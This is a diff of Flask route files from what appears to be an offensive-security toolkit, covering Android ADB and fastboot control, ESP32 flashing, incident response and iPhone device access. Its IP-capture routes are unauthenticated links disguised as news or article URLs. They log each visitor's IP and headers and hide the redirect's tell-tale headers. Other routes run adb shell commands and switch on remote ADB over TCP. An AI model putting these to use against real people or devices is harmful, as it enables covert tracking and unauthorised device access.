@hardware_bp.route('/adb/pull', methods=['POST'])
|
||||
@login_required
|
||||
def adb_pull():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
remote_path = data.get('remote', '').strip()
|
||||
if not serial or not remote_path:
|
||||
return jsonify({'error': 'Missing serial or remote path'})
|
||||
return jsonify(mgr.adb_pull(serial, remote_path))
|
||||
|
||||
|
||||
@hardware_bp.route('/adb/logcat', methods=['POST'])
|
||||
@login_required
|
||||
def adb_logcat():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
lines = int(data.get('lines', 100))
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(mgr.adb_logcat(serial, lines))
|
||||
|
||||
|
||||
@hardware_bp.route('/archon/bootstrap', methods=['POST'])
|
||||
def archon_bootstrap():
|
||||
"""Bootstrap ArchonServer on a USB-connected Android device.
|
||||
|
||||
No auth required — this is called by the companion app itself.
|
||||
Only runs the specific app_process bootstrap command (not arbitrary shell).
|
||||
"""
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
|
||||
data = request.get_json(silent=True) or {}
|
||||
apk_path = data.get('apk_path', '').strip()
|
||||
token = data.get('token', '').strip()
|
||||
port = int(data.get('port', 17321))
|
||||
|
||||
if not apk_path or not token:
|
||||
return jsonify({'ok': False, 'error': 'Missing apk_path or token'}), 400
|
||||
|
||||
# Validate inputs to prevent injection
|
||||
if not apk_path.startswith('/data/app/') or "'" in apk_path or '"' in apk_path:
|
||||
return jsonify({'ok': False, 'error': 'Invalid APK path'}), 400
|
||||
if not token.isalnum() or len(token) > 64:
|
||||
return jsonify({'ok': False, 'error': 'Invalid token'}), 400
|
||||
if port < 1024 or port > 65535:
|
||||
return jsonify({'ok': False, 'error': 'Invalid port'}), 400
|
||||
|
||||
# Find USB-connected device
|
||||
devices = mgr.adb_devices()
|
||||
usb_devices = [d for d in devices if ':' not in d.get('serial', '')]
|
||||
if not usb_devices:
|
||||
usb_devices = devices
|
||||
if not usb_devices:
|
||||
return jsonify({'ok': False, 'error': 'No ADB devices connected'}), 404
|
||||
|
||||
serial = usb_devices[0].get('serial', '')
|
||||
|
||||
# Construct the bootstrap command (server-side, safe)
|
||||
cmd = (
|
||||
f"TMPDIR=/data/local/tmp "
|
||||
f"CLASSPATH='{apk_path}' "
|
||||
f"nohup /system/bin/app_process /system/bin "
|
||||
f"com.darkhal.archon.server.ArchonServer {token} {port} "
|
||||
f"> /data/local/tmp/archon_server.log 2>&1 & echo started"
|
||||
)
|
||||
|
||||
result = mgr.adb_shell(serial, cmd)
|
||||
output = result.get('output', '')
|
||||
exit_code = result.get('returncode', -1)
|
||||
|
||||
if exit_code == 0 or 'started' in output:
|
||||
return jsonify({'ok': True, 'stdout': output, 'stderr': '', 'exit_code': exit_code})
|
||||
else:
|
||||
return jsonify({'ok': False, 'stdout': output, 'stderr': '', 'exit_code': exit_code})
|
||||
|
||||
|
||||
@hardware_bp.route('/adb/setup-tcp', methods=['POST'])
|
||||
@login_required
|
||||
def adb_setup_tcp():
|
||||
"""Enable ADB TCP/IP mode on a USB-connected device.
|
||||
Called by the Archon companion app to set up remote ADB access.
|
||||
Finds the first USB-connected device, enables TCP mode on port 5555,
|
||||
and returns the device's IP address for wireless connection."""
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
|
||||
data = request.get_json(silent=True) or {}
|
||||
port = int(data.get('port', 5555))
|
||||
serial = data.get('serial', '').strip()
|
||||
|
||||
# Find a USB-connected device if no serial specified
|
||||
if not serial:
|
||||
devices = mgr.adb_devices()
|
||||
usb_devices = [d for d in devices if 'usb' in d.get('type', '').lower()
|
||||
or ':' not in d.get('serial', '')]
|
||||
if not usb_devices:
|
||||
# Fall back to any connected device
|
||||
usb_devices = devices
|
||||
if not usb_devices:
|
||||
return jsonify({'ok': False, 'error': 'No ADB devices connected via USB'})
|
||||
serial = usb_devices[0].get('serial', '')
|
||||
|
||||
if not serial:
|
||||
return jsonify({'ok': False, 'error': 'No device serial available'})
|
||||
|
||||
# Get device IP address before switching to TCP mode
|
||||
ip_result = mgr.adb_shell(serial, 'ip route show default 2>/dev/null | grep -oP "src \\K[\\d.]+"')
|
||||
device_ip = ip_result.get('stdout', '').strip() if ip_result.get('exit_code', -1) == 0 else ''
|
||||
|
||||
# Enable TCP/IP mode
|
||||
result = mgr.adb_shell(serial, f'setprop service.adb.tcp.port {port}')
|
||||
if result.get('exit_code', -1) != 0:
|
||||
return jsonify({'ok': False, 'error': f'Failed to set TCP port: {result.get("stderr", "")}'})
|
||||
|
||||
# Restart adbd to apply
|
||||
mgr.adb_shell(serial, 'stop adbd && start adbd')
|
||||
|
||||
return jsonify({
|
||||
'ok': True,
|
||||
'serial': serial,
|
||||
'ip': device_ip,
|
||||
'port': port,
|
||||
'message': f'ADB TCP mode enabled on {device_ip}:{port}'
|
||||
})
|
||||
|
||||
|
||||
# ── Fastboot Endpoints ─────────────────────────────────────────────
|
||||
|
||||
@hardware_bp.route('/fastboot/devices')
|
||||
@login_required
|
||||
def fastboot_devices():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
return jsonify({'devices': mgr.fastboot_devices()})
|
||||
|
||||
|
||||
@hardware_bp.route('/fastboot/info', methods=['POST'])
|
||||
@login_required
|
||||
def fastboot_info():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(mgr.fastboot_device_info(serial))
|
||||
|
||||
|
||||
@hardware_bp.route('/fastboot/flash', methods=['POST'])
|
||||
@login_required
|
||||
def fastboot_flash():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
partition = data.get('partition', '').strip()
|
||||
filepath = data.get('filepath', '').strip()
|
||||
if not serial or not partition or not filepath:
|
||||
return jsonify({'error': 'Missing serial, partition, or filepath'})
|
||||
return jsonify(mgr.fastboot_flash(serial, partition, filepath))
|
||||
|
||||
|
||||
@hardware_bp.route('/fastboot/reboot', methods=['POST'])
|
||||
@login_required
|
||||
def fastboot_reboot():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
mode = data.get('mode', 'system').strip()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
if mode not in ('system', 'bootloader', 'recovery'):
|
||||
return jsonify({'error': 'Invalid mode'})
|
||||
return jsonify(mgr.fastboot_reboot(serial, mode))
|
||||
|
||||
|
||||
@hardware_bp.route('/fastboot/unlock', methods=['POST'])
|
||||
@login_required
|
||||
def fastboot_unlock():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(mgr.fastboot_oem_unlock(serial))
|
||||
|
||||
|
||||
# ── Operation Progress SSE ──────────────────────────────────────────
|
||||
|
||||
@hardware_bp.route('/progress/stream')
|
||||
@login_required
|
||||
def progress_stream():
|
||||
"""SSE stream for operation progress (sideload, flash, etc.)."""
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
op_id = request.args.get('op_id', '')
|
||||
|
||||
def generate():
|
||||
while True:
|
||||
prog = mgr.get_operation_progress(op_id)
|
||||
yield f'data: {json.dumps(prog)}\n\n'
|
||||
if prog.get('status') in ('done', 'error', 'unknown'):
|
||||
break
|
||||
time.sleep(0.5)
|
||||
|
||||
return Response(stream_with_context(generate()), content_type='text/event-stream')
|
||||
|
||||
|
||||
# ── Serial / ESP32 Endpoints ──────────────────────────────────────
|
||||
|
||||
@hardware_bp.route('/serial/ports')
|
||||
@login_required
|
||||
def serial_ports():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
return jsonify({'ports': mgr.list_serial_ports()})
|
||||
|
||||
|
||||
@hardware_bp.route('/serial/detect', methods=['POST'])
|
||||
@login_required
|
||||
def serial_detect():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
port = data.get('port', '').strip()
|
||||
baud = int(data.get('baud', 115200))
|
||||
if not port:
|
||||
return jsonify({'error': 'No port provided'})
|
||||
return jsonify(mgr.detect_esp_chip(port, baud))
|
||||
|
||||
|
||||
@hardware_bp.route('/serial/flash', methods=['POST'])
|
||||
@login_required
|
||||
def serial_flash():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
port = data.get('port', '').strip()
|
||||
filepath = data.get('filepath', '').strip()
|
||||
baud = int(data.get('baud', 460800))
|
||||
if not port or not filepath:
|
||||
return jsonify({'error': 'Missing port or filepath'})
|
||||
return jsonify(mgr.flash_esp(port, filepath, baud))
|
||||
|
||||
|
||||
@hardware_bp.route('/serial/monitor/start', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_start():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
port = data.get('port', '').strip()
|
||||
baud = int(data.get('baud', 115200))
|
||||
if not port:
|
||||
return jsonify({'error': 'No port provided'})
|
||||
return jsonify(mgr.serial_monitor_start(port, baud))
|
||||
|
||||
|
||||
@hardware_bp.route('/serial/monitor/stop', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_stop():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
return jsonify(mgr.serial_monitor_stop())
|
||||
|
||||
|
||||
@hardware_bp.route('/serial/monitor/send', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_send():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
text = data.get('data', '')
|
||||
return jsonify(mgr.serial_monitor_send(text))
|
||||
|
||||
|
||||
@hardware_bp.route('/serial/monitor/stream')
|
||||
@login_required
|
||||
def monitor_stream():
|
||||
"""SSE stream for serial monitor output."""
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
|
||||
def generate():
|
||||
last_index = 0
|
||||
while mgr.monitor_running:
|
||||
result = mgr.serial_monitor_get_output(last_index)
|
||||
if result['lines']:
|
||||
for line in result['lines']:
|
||||
yield f'data: {json.dumps({"type": "data", "line": line["data"]})}\n\n'
|
||||
last_index = result['total']
|
||||
yield f'data: {json.dumps({"type": "status", "running": True, "total": result["total"]})}\n\n'
|
||||
time.sleep(0.3)
|
||||
yield f'data: {json.dumps({"type": "stopped"})}\n\n'
|
||||
|
||||
return Response(stream_with_context(generate()), content_type='text/event-stream')
|
||||
231
web/routes/incident_resp.py
Normal file
231
web/routes/incident_resp.py
Normal file
@@ -0,0 +1,231 @@
|
||||
"""Incident Response routes."""
|
||||
|
||||
from flask import Blueprint, request, jsonify, render_template
|
||||
from web.auth import login_required
|
||||
|
||||
incident_resp_bp = Blueprint('incident_resp', __name__, url_prefix='/incident-resp')
|
||||
|
||||
|
||||
def _get_ir():
|
||||
from modules.incident_resp import get_incident_resp
|
||||
return get_incident_resp()
|
||||
|
||||
|
||||
# ── Page ─────────────────────────────────────────────────────────
|
||||
|
||||
@incident_resp_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('incident_resp.html')
|
||||
|
||||
|
||||
# ── Incidents CRUD ───────────────────────────────────────────────
|
||||
|
||||
@incident_resp_bp.route('/incidents', methods=['POST'])
|
||||
@login_required
|
||||
def create_incident():
|
||||
data = request.get_json(silent=True) or {}
|
||||
result = _get_ir().create_incident(
|
||||
name=data.get('name', '').strip(),
|
||||
incident_type=data.get('type', '').strip(),
|
||||
severity=data.get('severity', '').strip(),
|
||||
description=data.get('description', '').strip(),
|
||||
)
|
||||
if 'error' in result:
|
||||
return jsonify(result), 400
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@incident_resp_bp.route('/incidents', methods=['GET'])
|
||||
@login_required
|
||||
def list_incidents():
|
||||
status = request.args.get('status')
|
||||
incidents = _get_ir().list_incidents(status=status)
|
||||
return jsonify({'incidents': incidents})
|
||||
|
||||
|
||||
@incident_resp_bp.route('/incidents/<incident_id>', methods=['GET'])
|
||||
@login_required
|
||||
def get_incident(incident_id):
|
||||
result = _get_ir().get_incident(incident_id)
|
||||
if 'error' in result:
|
||||
return jsonify(result), 404
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@incident_resp_bp.route('/incidents/<incident_id>', methods=['PUT'])
|
||||
@login_required
|
||||
def update_incident(incident_id):
|
||||
data = request.get_json(silent=True) or {}
|
||||
result = _get_ir().update_incident(incident_id, data)
|
||||
if 'error' in result:
|
||||
return jsonify(result), 400
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@incident_resp_bp.route('/incidents/<incident_id>', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_incident(incident_id):
|
||||
result = _get_ir().delete_incident(incident_id)
|
||||
if 'error' in result:
|
||||
return jsonify(result), 404
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@incident_resp_bp.route('/incidents/<incident_id>/close', methods=['POST'])
|
||||
@login_required
|
||||
def close_incident(incident_id):
|
||||
data = request.get_json(silent=True) or {}
|
||||
result = _get_ir().close_incident(incident_id, data.get('resolution_notes', ''))
|
||||
if 'error' in result:
|
||||
return jsonify(result), 404
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
# ── Playbook ─────────────────────────────────────────────────────
|
||||
|
||||
@incident_resp_bp.route('/incidents/<incident_id>/playbook', methods=['GET'])
|
||||
@login_required
|
||||
def get_playbook(incident_id):
|
||||
inc = _get_ir().get_incident(incident_id)
|
||||
if 'error' in inc:
|
||||
return jsonify(inc), 404
|
||||
pb = _get_ir().get_playbook(inc['type'])
|
||||
if 'error' in pb:
|
||||
return jsonify(pb), 404
|
||||
pb['progress'] = inc.get('playbook_progress', [])
|
||||
pb['outputs'] = inc.get('playbook_outputs', [])
|
||||
return jsonify(pb)
|
||||
|
||||
|
||||
@incident_resp_bp.route('/incidents/<incident_id>/playbook/<int:step>', methods=['POST'])
|
||||
@login_required
|
||||
def run_playbook_step(incident_id, step):
|
||||
data = request.get_json(silent=True) or {}
|
||||
auto = data.get('auto', False)
|
||||
result = _get_ir().run_playbook_step(incident_id, step, auto=auto)
|
||||
if 'error' in result:
|
||||
return jsonify(result), 400
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
# ── Evidence ─────────────────────────────────────────────────────
|
||||
|
||||
@incident_resp_bp.route('/incidents/<incident_id>/evidence/collect', methods=['POST'])
|
||||
@login_required
|
||||
def collect_evidence(incident_id):
|
||||
data = request.get_json(silent=True) or {}
|
||||
result = _get_ir().collect_evidence(incident_id, data.get('type', ''),
|
||||
source=data.get('source'))
|
||||
if 'error' in result:
|
||||
return jsonify(result), 400
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@incident_resp_bp.route('/incidents/<incident_id>/evidence', methods=['POST'])
|
||||
@login_required
|
||||
def add_evidence(incident_id):
|
||||
data = request.get_json(silent=True) or {}
|
||||
result = _get_ir().add_evidence(
|
||||
incident_id,
|
||||
name=data.get('name', 'manual_note'),
|
||||
content=data.get('content', ''),
|
||||
evidence_type=data.get('evidence_type', 'manual'),
|
||||
)
|
||||
if 'error' in result:
|
||||
return jsonify(result), 400
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@incident_resp_bp.route('/incidents/<incident_id>/evidence', methods=['GET'])
|
||||
@login_required
|
||||
def list_evidence(incident_id):
|
||||
evidence = _get_ir().list_evidence(incident_id)
|
||||
return jsonify({'evidence': evidence})
|
||||
|
||||
|
||||
# ── IOC Sweep ────────────────────────────────────────────────────
|
||||
|
||||
@incident_resp_bp.route('/incidents/<incident_id>/sweep', methods=['POST'])
|
||||
@login_required
|
||||
def sweep_iocs(incident_id):
|
||||
data = request.get_json(silent=True) or {}
|
||||
iocs = {
|
||||
'ips': [ip.strip() for ip in data.get('ips', []) if ip.strip()],
|
||||
'domains': [d.strip() for d in data.get('domains', []) if d.strip()],
|
||||
'hashes': [h.strip() for h in data.get('hashes', []) if h.strip()],
|
||||
}
|
||||
result = _get_ir().sweep_iocs(incident_id, iocs)
|
||||
if 'error' in result:
|
||||
return jsonify(result), 400
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
# ── Timeline ─────────────────────────────────────────────────────
|
||||
|
||||
@incident_resp_bp.route('/incidents/<incident_id>/timeline', methods=['GET'])
|
||||
@login_required
|
||||
def get_timeline(incident_id):
|
||||
timeline = _get_ir().get_timeline(incident_id)
|
||||
return jsonify({'timeline': timeline})
|
||||
|
||||
|
||||
@incident_resp_bp.route('/incidents/<incident_id>/timeline', methods=['POST'])
|
||||
@login_required
|
||||
def add_timeline_event(incident_id):
|
||||
data = request.get_json(silent=True) or {}
|
||||
from datetime import datetime, timezone
|
||||
ts = data.get('timestamp') or datetime.now(timezone.utc).isoformat()
|
||||
result = _get_ir().add_timeline_event(
|
||||
incident_id, ts,
|
||||
data.get('event', ''),
|
||||
data.get('source', 'manual'),
|
||||
data.get('details'),
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@incident_resp_bp.route('/incidents/<incident_id>/timeline/auto', methods=['POST'])
|
||||
@login_required
|
||||
def auto_build_timeline(incident_id):
|
||||
result = _get_ir().auto_build_timeline(incident_id)
|
||||
if 'error' in result:
|
||||
return jsonify(result), 400
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
# ── Containment ──────────────────────────────────────────────────
|
||||
|
||||
@incident_resp_bp.route('/incidents/<incident_id>/contain', methods=['POST'])
|
||||
@login_required
|
||||
def contain_host(incident_id):
|
||||
data = request.get_json(silent=True) or {}
|
||||
host = data.get('host', '').strip()
|
||||
actions = data.get('actions', [])
|
||||
if not host or not actions:
|
||||
return jsonify({'error': 'host and actions required'}), 400
|
||||
result = _get_ir().contain_host(incident_id, host, actions)
|
||||
if 'error' in result:
|
||||
return jsonify(result), 400
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
# ── Report & Export ──────────────────────────────────────────────
|
||||
|
||||
@incident_resp_bp.route('/incidents/<incident_id>/report', methods=['GET'])
|
||||
@login_required
|
||||
def generate_report(incident_id):
|
||||
result = _get_ir().generate_report(incident_id)
|
||||
if 'error' in result:
|
||||
return jsonify(result), 404
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@incident_resp_bp.route('/incidents/<incident_id>/export', methods=['GET'])
|
||||
@login_required
|
||||
def export_incident(incident_id):
|
||||
fmt = request.args.get('fmt', 'json')
|
||||
result = _get_ir().export_incident(incident_id, fmt=fmt)
|
||||
if 'error' in result:
|
||||
return jsonify(result), 404
|
||||
return jsonify(result)
|
||||
172
web/routes/ipcapture.py
Normal file
172
web/routes/ipcapture.py
Normal file
@@ -0,0 +1,172 @@
|
||||
"""IP Capture & Redirect — web routes for stealthy link tracking."""
|
||||
|
||||
from flask import (Blueprint, render_template, request, jsonify,
|
||||
redirect, Response)
|
||||
from web.auth import login_required
|
||||
|
||||
ipcapture_bp = Blueprint('ipcapture', __name__)
|
||||
|
||||
|
||||
def _svc():
|
||||
from modules.ipcapture import get_ip_capture
|
||||
return get_ip_capture()
|
||||
|
||||
|
||||
# ── Management UI ────────────────────────────────────────────────────────────
|
||||
|
||||
@ipcapture_bp.route('/ipcapture/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('ipcapture.html')
|
||||
|
||||
|
||||
@ipcapture_bp.route('/ipcapture/links', methods=['GET'])
|
||||
@login_required
|
||||
def list_links():
|
||||
svc = _svc()
|
||||
links = svc.list_links()
|
||||
for l in links:
|
||||
l['stats'] = svc.get_stats(l['key'])
|
||||
return jsonify({'ok': True, 'links': links})
|
||||
|
||||
|
||||
@ipcapture_bp.route('/ipcapture/links', methods=['POST'])
|
||||
@login_required
|
||||
def create_link():
|
||||
data = request.get_json(silent=True) or {}
|
||||
target = data.get('target_url', '').strip()
|
||||
if not target:
|
||||
return jsonify({'ok': False, 'error': 'Target URL required'})
|
||||
if not target.startswith(('http://', 'https://')):
|
||||
target = 'https://' + target
|
||||
result = _svc().create_link(
|
||||
target_url=target,
|
||||
name=data.get('name', ''),
|
||||
disguise=data.get('disguise', 'article'),
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@ipcapture_bp.route('/ipcapture/links/<key>', methods=['GET'])
|
||||
@login_required
|
||||
def get_link(key):
|
||||
svc = _svc()
|
||||
link = svc.get_link(key)
|
||||
if not link:
|
||||
return jsonify({'ok': False, 'error': 'Link not found'})
|
||||
link['stats'] = svc.get_stats(key)
|
||||
return jsonify({'ok': True, 'link': link})
|
||||
|
||||
|
||||
@ipcapture_bp.route('/ipcapture/links/<key>', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_link(key):
|
||||
if _svc().delete_link(key):
|
||||
return jsonify({'ok': True})
|
||||
return jsonify({'ok': False, 'error': 'Link not found'})
|
||||
|
||||
|
||||
@ipcapture_bp.route('/ipcapture/links/<key>/export')
|
||||
@login_required
|
||||
def export_captures(key):
|
||||
fmt = request.args.get('format', 'json')
|
||||
data = _svc().export_captures(key, fmt)
|
||||
mime = 'text/csv' if fmt == 'csv' else 'application/json'
|
||||
ext = 'csv' if fmt == 'csv' else 'json'
|
||||
return Response(data, mimetype=mime,
|
||||
headers={'Content-Disposition': f'attachment; filename=captures_{key}.{ext}'})
|
||||
|
||||
|
||||
# ── Capture Endpoints (NO AUTH — accessed by targets) ────────────────────────
|
||||
|
||||
@ipcapture_bp.route('/c/<key>')
|
||||
def capture_short(key):
|
||||
"""Short capture URL — /c/xxxxx"""
|
||||
return _do_capture(key)
|
||||
|
||||
|
||||
@ipcapture_bp.route('/article/<path:subpath>')
|
||||
def capture_article(subpath):
|
||||
"""Article-style capture URL — /article/2026/03/title-slug"""
|
||||
svc = _svc()
|
||||
full_path = '/article/' + subpath
|
||||
link = svc.find_by_path(full_path)
|
||||
if not link:
|
||||
return Response('Not Found', status=404)
|
||||
return _do_capture(link['key'])
|
||||
|
||||
|
||||
@ipcapture_bp.route('/news/<path:subpath>')
|
||||
def capture_news(subpath):
|
||||
"""News-style capture URL."""
|
||||
svc = _svc()
|
||||
full_path = '/news/' + subpath
|
||||
link = svc.find_by_path(full_path)
|
||||
if not link:
|
||||
return Response('Not Found', status=404)
|
||||
return _do_capture(link['key'])
|
||||
|
||||
|
||||
@ipcapture_bp.route('/stories/<path:subpath>')
|
||||
def capture_stories(subpath):
|
||||
"""Stories-style capture URL."""
|
||||
svc = _svc()
|
||||
full_path = '/stories/' + subpath
|
||||
link = svc.find_by_path(full_path)
|
||||
if not link:
|
||||
return Response('Not Found', status=404)
|
||||
return _do_capture(link['key'])
|
||||
|
||||
|
||||
@ipcapture_bp.route('/p/<path:subpath>')
|
||||
def capture_page(subpath):
|
||||
"""Page-style capture URL."""
|
||||
svc = _svc()
|
||||
full_path = '/p/' + subpath
|
||||
link = svc.find_by_path(full_path)
|
||||
if not link:
|
||||
return Response('Not Found', status=404)
|
||||
return _do_capture(link['key'])
|
||||
|
||||
|
||||
@ipcapture_bp.route('/read/<path:subpath>')
|
||||
def capture_read(subpath):
|
||||
"""Read-style capture URL."""
|
||||
svc = _svc()
|
||||
full_path = '/read/' + subpath
|
||||
link = svc.find_by_path(full_path)
|
||||
if not link:
|
||||
return Response('Not Found', status=404)
|
||||
return _do_capture(link['key'])
|
||||
|
||||
|
||||
def _do_capture(key):
|
||||
"""Perform the actual IP capture and redirect."""
|
||||
svc = _svc()
|
||||
link = svc.get_link(key)
|
||||
if not link or not link.get('active'):
|
||||
return Response('Not Found', status=404)
|
||||
|
||||
# Get real client IP
|
||||
ip = (request.headers.get('X-Forwarded-For', '').split(',')[0].strip()
|
||||
or request.headers.get('X-Real-IP', '')
|
||||
or request.remote_addr)
|
||||
|
||||
# Record capture with all available metadata
|
||||
svc.record_capture(
|
||||
key=key,
|
||||
ip=ip,
|
||||
user_agent=request.headers.get('User-Agent', ''),
|
||||
accept_language=request.headers.get('Accept-Language', ''),
|
||||
referer=request.headers.get('Referer', ''),
|
||||
headers=dict(request.headers),
|
||||
)
|
||||
|
||||
# Fast 302 redirect — no page render, minimal latency
|
||||
target = link['target_url']
|
||||
resp = redirect(target, code=302)
|
||||
# Clean headers — no suspicious indicators
|
||||
resp.headers.pop('X-Content-Type-Options', None)
|
||||
resp.headers['Server'] = 'nginx'
|
||||
resp.headers['Cache-Control'] = 'no-cache'
|
||||
return resp
|
||||
399
web/routes/iphone_exploit.py
Normal file
399
web/routes/iphone_exploit.py
Normal file
@@ -0,0 +1,399 @@
|
||||
"""iPhone Exploitation routes - Local USB device access via libimobiledevice."""
|
||||
|
||||
import os
|
||||
from flask import Blueprint, render_template, request, jsonify
|
||||
from web.auth import login_required
|
||||
|
||||
iphone_exploit_bp = Blueprint('iphone_exploit', __name__, url_prefix='/iphone-exploit')
|
||||
|
||||
|
||||
def _get_mgr():
|
||||
from core.iphone_exploit import get_iphone_manager
|
||||
return get_iphone_manager()
|
||||
|
||||
|
||||
def _get_udid():
|
||||
data = request.get_json(silent=True) or {}
|
||||
udid = data.get('udid', '').strip()
|
||||
if not udid:
|
||||
return None, jsonify({'error': 'No UDID provided'})
|
||||
return udid, None
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
mgr = _get_mgr()
|
||||
status = mgr.get_status()
|
||||
return render_template('iphone_exploit.html', status=status)
|
||||
|
||||
|
||||
# ── Device Management ────────────────────────────────────────────
|
||||
|
||||
@iphone_exploit_bp.route('/devices', methods=['POST'])
|
||||
@login_required
|
||||
def list_devices():
|
||||
return jsonify({'devices': _get_mgr().list_devices()})
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/device-info', methods=['POST'])
|
||||
@login_required
|
||||
def device_info():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().device_info(udid))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/fingerprint', methods=['POST'])
|
||||
@login_required
|
||||
def fingerprint():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().full_fingerprint(udid))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/pair', methods=['POST'])
|
||||
@login_required
|
||||
def pair():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().pair_device(udid))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/unpair', methods=['POST'])
|
||||
@login_required
|
||||
def unpair():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().unpair_device(udid))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/validate-pair', methods=['POST'])
|
||||
@login_required
|
||||
def validate_pair():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().validate_pair(udid))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/get-name', methods=['POST'])
|
||||
@login_required
|
||||
def get_name():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().get_name(udid))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/set-name', methods=['POST'])
|
||||
@login_required
|
||||
def set_name():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
name = data.get('name', '').strip()
|
||||
if not name:
|
||||
return jsonify({'error': 'No name provided'})
|
||||
return jsonify(_get_mgr().set_name(udid, name))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/restart', methods=['POST'])
|
||||
@login_required
|
||||
def restart():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().restart_device(udid))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/shutdown', methods=['POST'])
|
||||
@login_required
|
||||
def shutdown():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().shutdown_device(udid))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/sleep', methods=['POST'])
|
||||
@login_required
|
||||
def sleep_dev():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().sleep_device(udid))
|
||||
|
||||
|
||||
# ── Capture ──────────────────────────────────────────────────────
|
||||
|
||||
@iphone_exploit_bp.route('/screenshot', methods=['POST'])
|
||||
@login_required
|
||||
def screenshot():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().screenshot(udid))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/syslog', methods=['POST'])
|
||||
@login_required
|
||||
def syslog():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
duration = int(data.get('duration', 5))
|
||||
return jsonify(_get_mgr().syslog_dump(udid, duration=duration))
|
